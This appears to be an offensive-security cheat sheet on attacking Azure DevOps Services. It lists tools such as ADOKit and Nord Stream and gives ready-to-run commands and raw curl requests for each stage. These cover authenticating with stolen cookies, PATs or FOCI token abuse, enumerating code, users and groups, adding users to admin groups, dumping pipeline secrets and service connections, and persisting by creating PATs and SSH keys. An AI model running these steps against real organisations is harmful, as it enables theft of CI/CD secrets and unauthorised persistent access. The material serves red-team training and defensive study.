Azure Services - Azure DevOps

• xforcered/ADOKit - Azure DevOps Services Attack Toolkit

• zolderio/devops - Azure DevOps Access Testing Scripts

• synacktiv/nord-stream - Nord Stream is a tool that allows you to extract secrets stored inside CI/CD environments by deploying malicious pipelines. It currently supports Azure DevOps, GitHub and GitLab.

  # List all secrets from all projects
  $ nord-stream.py devops --token "$PAT" --org myorg --list-secrets
  
  # Dump all secrets from all projects
  $ nord-stream.py devops --token "$PAT" --org myorg
  

Authentication#

You can access an organization’s Azure DevOps Services instance via <https://dev.azure.com/{yourorganization}>.

• Username and Password

• Authentication Cookie UserAuthentication: ADOKit.exe whoami /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

• Personal Access Token (PAT): ADOKit.exe whoami /credential:patToken /url:https://dev.azure.com/YourOrganization

  PAT="XXXXXXXXXXX"
  organization="YOURORGANIZATION"
  curl -u :${PAT} https://dev.azure.com/${organization}/_apis/build-release/builds
  

• Access Token with FOCI (MS Authenticator)

  roadtx auth --device-code -c 4813382a-8fa7-425e-ab75-3b753aab3abb
  roadtx refreshtokento -c 1950a258-227b-4e31-a9cf-717495945fc2 -r 499b84ac-1321-427f-aa17-267ca6975798/.default
  python main.py --token $(jq -r '.accessToken' .roadtools_auth) repositories
  

Recon#

• Search files: file:FileNameToSearch, file:Test* OR file:azure-pipelines*

  curl -i -s -k -X $'GET'
  -H $'Content-Type: application/json'
  -H $'User-Agent: SOME_USER_AGENT'
  -H $'Authorization: Basic BASE64ENCODEDPAT'
  -H $'Host: dev.azure.com'
  $'https://dev.azure.com/YOURORGANIZATION/PROJECTNAME/_apis/git/repositories/REPOSITORYID/items?recursionLevel=Full&api-version=7.0'
  

• Search code: ADOKit.exe searchcode /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"search term"

  curl -i -s -k -X $'POST'
  -H $'Content-Type: application/json'
  -H $'User-Agent: SOME_USER_AGENT'
  -H $'Authorization: Basic BASE64ENCODEDPAT'
  -H $'Host: almsearch.dev.azure.com'
  -H $'Content-Length: 85'
  -H $'Expect: 100-continue'
  -H $'Connection: close'
  --data-binary $'{\"searchText\": \"SEARCHTERM\", \"skipResults\":0,\"takeResults\":1000,\"isInstantSearch\":true}' 
  $'https://almsearch.dev.azure.com/YOURORGANIZATION/_apis/search/codeAdvancedQueryResults?api-version=7.0-preview'
  

• Enumerate users

  curl -i -s -k -X $'GET'
  -H $'Content-Type: application/json'
  -H $'User-Agent: SOME_USER_AGENT'
  -H $'Authorization: Basic BASE64ENCODEDPAT'
  -H $'Host: dev.azure.com'
  $'https://dev.azure.com/YOURORGANIZATION/_apis/graph/users?api-version=7.0'
  

• Enumerate groups: ADOKit.exe getgroupmembers /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /group:"search term"

  curl -i -s -k -X $'GET'
  -H $'Content-Type: application/json'
  -H $'User-Agent: SOME_USER_AGENT'
  -H $'Authorization: Basic BASE64ENCODEDPAT'
  -H $'Host: dev.azure.com'
  $'https://dev.azure.com/YOURORGANIZATION/_apis/graph/groups?api-version=7.0'
  

• Enumerate project permissions: ADOKit.exe getpermissions /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /project:"project name"

• Get the user profile of the user from access_token: <https://app.vssps.visualstudio.com/_apis/profile/profiles/me?api-version=7.1>

• Get the organizations that user belongs to: <https://app.vssps.visualstudio.com/_apis/accounts?memberId={UserID}?api-version=7.1>

• Get the repositories inside of that organization: <https://dev.azure.com/{org_name}/_apis/projects?api-version=7.1>

Privilege Escalation#

• Adding User to Group: ADOKit.exe addcollectionbuildadmin /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /user:"username"

  curl -i -s -k -X $'PUT'
  -H $'Content-Type: application/json'
  -H $'User-Agent: Some User Agent'
  -H $'Authorization: Basic base64EncodedPAT'
  -H $'Host: vssps.dev.azure.com'
  -H $'Content-Length: 0'
  $'https://vssps.dev.azure.com/YourOrganization/_apis/graph/memberships/userDescriptor/groupDescriptor?api-version=7.0-preview.1'
  

• Retrieve build variables and secrets: ADOKit.exe getpipelinevars /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /project:"project name", ADOKit.exe getpipelinesecrets /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /project:"project name"

  curl -i -s -k -X $'GET'
  -H $'Content-Type: application/json'
  -H $'User-Agent: Some User Agent'
  -H $'Authorization: Basic base64EncodedPAT'
  -H $'Host: dev.azure.com'
  $'https://dev.azure.com/YourOrganization/ProjectName/_apis/build/Definitions/DefinitionIDNumber?api-version=7.0'
  

• Retrieve Service Connection Information: ADOKit.exe getserviceconnections /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /project:"project name"

  curl -i -s -k -X $'GET'
  -H $'Content-Type: application/json;api-version=5.0-preview.1'
  -H $'User-Agent: Some User Agent'
  -H $'Authorization: Basic base64EncodedPAT'
  -H $'Host: dev.azure.com'
  $'https://dev.azure.com/YourOrganization/YourProject/_apis/serviceendpoint/endpoints?api-version=7.0'
  

Persistence#

• Create a PAT: ADOKit.exe createpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

  curl -i -s -k -X $'POST'
  -H $'Content-Type: application/json'
  -H $'Accept: application/json;api-version=5.0-preview.1'
  -H $'User-Agent: Some User Agent'
  -H $'Host: dev.azure.com'
  -H $'Content-Length: 234'
  -H $'Expect: 100-continue'
  -b $'X-VSS-UseRequestRouting=True; UserAuthentication=stolenCookie'
  --data-binary $'{\"contributionIds\":[\"ms.vss-token-web.personal-accesstoken-issue-session-tokenprovider\"],\"dataProviderContext\":{\"properties\":{\"displayName\":\"PATName\",\"validTo\":\"YYYY-MMDDT00:00:00.000Z\",\"scope\":\"app_token\",\"targetAccounts\":[]}}}}}'
  $'https://dev.azure.com/YourOrganization/_apis/Contribution/HierarchyQuery'
  

• Create SSH Keys: ADOKit.exe createsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /sshkey:"ssh pub key"

  curl -i -s -k -X $'POST'
  -H $'Content-Type: application/json'
  -H $'Accept: application/json;api-version=5.0-preview.1'
  -H $'User-Agent: Some User Agent'
  -H $'Host: dev.azure.com'
  -H $'Content-Length: 856'
  -H $'Expect: 100-continue'
  -b $'X-VSS-UseRequestRouting=True; UserAuthentication=stolenCookie'
  --data-binary $'{\"contributionIds\":[\"ms.vss-token-web.personal-accesstoken-issue-session-tokenprovider\"],\"dataProviderContext\":{\"properties\":{\"displayName\":\"SSHKeyName\",\"publicData\":\"public SSH key content\",\"validTo\":\"YYYY-MMDDT00:00:00.000Z\",\"scope\":\"app_token\",\"isPublic\":true,\"targetAccounts\":[\"organizationID\"]}}}}}'
  $'https://dev.azure.com/YourOrganization/_apis/Contribution/HierarchyQuery'
  

References#

• Hiding in the Clouds: Abusing Azure DevOps Services to Bypass Microsoft Sentinel Analytic Rules - Brett Hawkins - November 6, 2023
• DevOps access is closer than you assume - rikvduijn - January 21, 2025
• Training - Attacking and Defending Azure Lab - Altered Security